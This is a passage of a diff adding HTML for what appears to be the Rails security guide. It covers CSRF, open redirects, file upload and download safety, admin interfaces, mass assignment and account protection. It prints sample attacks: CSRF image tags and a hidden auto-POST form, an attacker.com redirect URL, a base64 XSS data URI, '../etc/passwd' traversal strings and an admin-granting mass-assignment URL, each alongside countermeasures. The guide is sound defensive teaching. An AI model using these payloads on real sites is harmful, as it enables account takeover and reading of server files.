<span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at < '#{time.to_s(:db)}'"</span>
+
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_cross_site_reference_forgery_csrf">3. Cross-Site Reference Forgery (CSRF)</h2>
+<div class="sectionbody">
+<div class="para"><p>— <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
+<div class="imageblock">
+<div class="content">
+<img src="images/csrf.png" alt="CSRF" title="CSRF"/>
+</div>
+</div>
+<div class="para"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+</p>
+</li>
+<li>
+<p>
+<tt><img src="http://www.webapp.com/project/1/destroy"></tt>
+</p>
+</li>
+<li>
+<p>
+Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+</p>
+</li>
+<li>
+<p>
+By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+</p>
+</li>
+<li>
+<p>
+The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+</p>
+</li>
+<li>
+<p>
+Bob doesn't notice the attack — but a few days later he finds out that project number one is gone.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.</p></div>
+<div class="para"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
+<h3 id="_csrf_countermeasures">3.1. CSRF Countermeasures</h3>
+<div class="para"><p>— <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
+<div class="para"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
+<div class="para"><p><strong>Use GET if:</strong></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The interaction is more <span style="background-color: #fffcdb;">like a question</span> (i.e., it is a safe operation such as a query, read operation, or lookup).
+</p>
+</li>
+</ul></div>
+<div class="para"><p><strong>Use POST if:</strong></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The interaction is more <span style="background-color: #fffcdb;">like an order</span>, or
+</p>
+</li>
+<li>
+<p>
+The interaction <span style="background-color: #fffcdb;">changes the state</span> of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+</p>
+</li>
+<li>
+<p>
+The user is <span style="background-color: #fffcdb;">held accountable for the results</span> of the interaction.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
+<div class="para"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}</tt></pre>
+</div></div>
+<div class="para"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
+<div class="para"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF"><a</span></span> <span style="color: #009900">href</span><span style="color: #990000">=</span><span style="color: #FF0000">"http://www.harmless.com/"</span> <span style="color: #009900">onclick</span><span style="color: #990000">=</span><span style="color: #FF0000">"</span>
+<span style="color: #FF0000"> var f = document.createElement('form');</span>
+<span style="color: #FF0000"> f.style.display = 'none';</span>
+<span style="color: #FF0000"> this.parentNode.appendChild(f);</span>
+<span style="color: #FF0000"> f.method = 'POST';</span>
+<span style="color: #FF0000"> f.action = 'http://www.example.com/account/destroy';</span>
+<span style="color: #FF0000"> f.submit();</span>
+<span style="color: #FF0000"> return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">></span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF"></a></span></span>
+</tt></pre></div></div>
+<div class="para"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
+<div class="para"><p><tt><img src="http://www.harmless.com/img" width="400" height="400" onmouseover="…" /></tt></p></div>
+<div class="para"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
+<div class="para"><p><tt>protect_from_forgery :secret ⇒ "123456789012345678901234567890…"</tt></p></div>
+<div class="para"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.</p></div>
+<div class="para"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
+</div>
+<h2 id="_redirection_and_files">4. Redirection and Files</h2>
+<div class="sectionbody">
+<div class="para"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
+<h3 id="_redirection">4.1. Redirection</h3>
+<div class="para"><p>— <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
+<div class="para"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> legacy
+ redirect_to<span style="color: #990000">(</span>params<span style="color: #990000">.</span>update<span style="color: #990000">(:</span>action<span style="color: #990000">=></span><span style="color: #FF0000">'main'</span><span style="color: #990000">))</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
+<div class="para"><p><tt>http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com</tt></p></div>
+<div class="para"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
+<h4 id="_self_contained_xss">4.1.1. Self-contained XSS</h4>
+<div class="para"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
+<div class="para"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
+<div class="para"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
+<h3 id="_file_uploads">4.2. File uploads</h3>
+<div class="para"><p>— <em>Make sure file uploads don't overwrite important files, and process media files asynchronously.</em></p></div>
+<div class="para"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
+<div class="para"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don't try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “….//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> sanitize_filename<span style="color: #990000">(</span>filename<span style="color: #990000">)</span>
+ returning filename<span style="color: #990000">.</span>strip <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>name<span style="color: #990000">|</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># NOTE: File.basename doesn't work right with Windows paths on Unix</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># get only the filename, not the whole path</span></span>
+ name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/^.*(\\|\/)/</span><span style="color: #990000">,</span> <span style="color: #FF0000">''</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># Finally, replace all non alphanumeric, underscore</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># or periods with underscore</span></span>
+ name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/[^\w\.\-]/</span><span style="color: #990000">,</span> <span style="color: #FF0000">'_'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
+<div class="para"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
+<h3 id="_executable_code_in_file_uploads">4.3. Executable code in file uploads</h3>
+<div class="para"><p>— <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory.</em></p></div>
+<div class="para"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
+<div class="para"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
+<h3 id="_file_downloads">4.4. File downloads</h3>
+<div class="para"><p>— <em>Make sure users cannot download arbitrary files.</em></p></div>
+<div class="para"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>basename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'../../files'</span><span style="color: #990000">))</span>
+filename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>basename<span style="color: #990000">,</span> <span style="color: #009900">@file</span><span style="color: #990000">.</span>public_filename<span style="color: #990000">))</span>
+<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> basename <span style="color: #990000">=!</span>
+ File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span>filename<span style="color: #990000">),</span> <span style="color: #FF0000">'../../../'</span><span style="color: #990000">))</span>
+send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=></span> <span style="color: #FF0000">'inline'</span>
+</tt></pre></div></div>
+<div class="para"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
+</div>
+<h2 id="_intranet_and_admin_security">5. Intranet and Admin security</h2>
+<div class="sectionbody">
+<div class="para"><p>— <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
+<div class="para"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
+<div class="para"><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
+<div class="para"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.</p></div>
+<div class="para"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
+<div class="para"><p><strong>CSRF</strong> Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
+<div class="para"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.</p></div>
+<div class="para"><p>Another example changed Google Adsense's e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
+<div class="para"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
+<div class="para"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
+<h3 id="_additional_precautions">5.1. Additional precautions</h3>
+<div class="para"><p>The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+It is very important to <span style="background-color: #fffcdb;">think about the worst case</span>: What if someone really got hold of my cookie or user credentials. You could <span style="background-color: #fffcdb;">introduce roles</span> for the admin interface to limit the possibilities of the attacker. Or how about <span style="background-color: #fffcdb;">special login credentials</span> for the admin interface, other than the ones used for the public part of the application. Or a <span style="background-color: #fffcdb;">special password for very serious actions</span>?
+</p>
+</li>
+<li>
+<p>
+Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+</p>
+</li>
+<li>
+<p>
+<span style="background-color: #fffcdb;">Put the admin interface to a special sub-domain</span> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_mass_assignment">6. Mass assignment</h2>
+<div class="sectionbody">
+<div class="para"><p>— <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.</em></p></div>
+<div class="para"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> signup
+ params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=> {:name => “ow3ned”, :admin => true}</span></span>
+ <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1</tt></pre>
+</div></div>
+<div class="para"><p>This will set the following parameters in the controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=> {:name => “ow3ned”, :admin => true}</span></span>
+</tt></pre></div></div>
+<div class="para"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
+<h3 id="_countermeasures">6.1. Countermeasures</h3>
+<div class="para"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>attr_protected <span style="color: #990000">:</span>admin
+</tt></pre></div></div>
+<div class="para"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>attr_accessible <span style="color: #990000">:</span>name
+</tt></pre></div></div>
+<div class="para"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=> {:name => "ow3ned", :admin => true}</span></span>
+<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
+<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=> false # not mass-assigned</span></span>
+<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=> true</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_user_management">7. User management</h2>
+<div class="sectionbody">
+<div class="para"><p>— <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
+<div class="para"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
+<div class="para"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=</tt></pre>
+</div></div>
+<div class="para"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>If the parameter was nil, the resulting SQL query will be</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1</tt></pre>
+</div></div>
+<div class="para"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
+<h3 id="_brute_forcing_accounts">7.1. Brute-forcing accounts</h3>
+<div class="para"><p>— <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
+<div class="para"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
+<div class="para"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
+<div class="para"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
+<div class="para"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
+<h3 id="_account_hijacking">7.2. Account hijacking</h3>
+<div class="para"><p>— <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
+<h4 id="_passwords">7.2.1. Passwords</h4>
+<div class="para"><p>Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
+<h4 id="_e_mail">7.2.2. E-Mail</h4>
+<div class="para"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
+<h4 id="_other">7.2.3. Other</h4>
+<div class="para"><p>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
+<h3 id="_captchas">7.3. CAPTCHAs</h3>
+<div class="para"><p>— <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
+<div class="para"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
+<div class="para"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p></div>
+<div class="para"><p>Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
+<div class="para"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+position the fields off of the visible area of the page
+</p>
+</li>
+<li>
+<p>
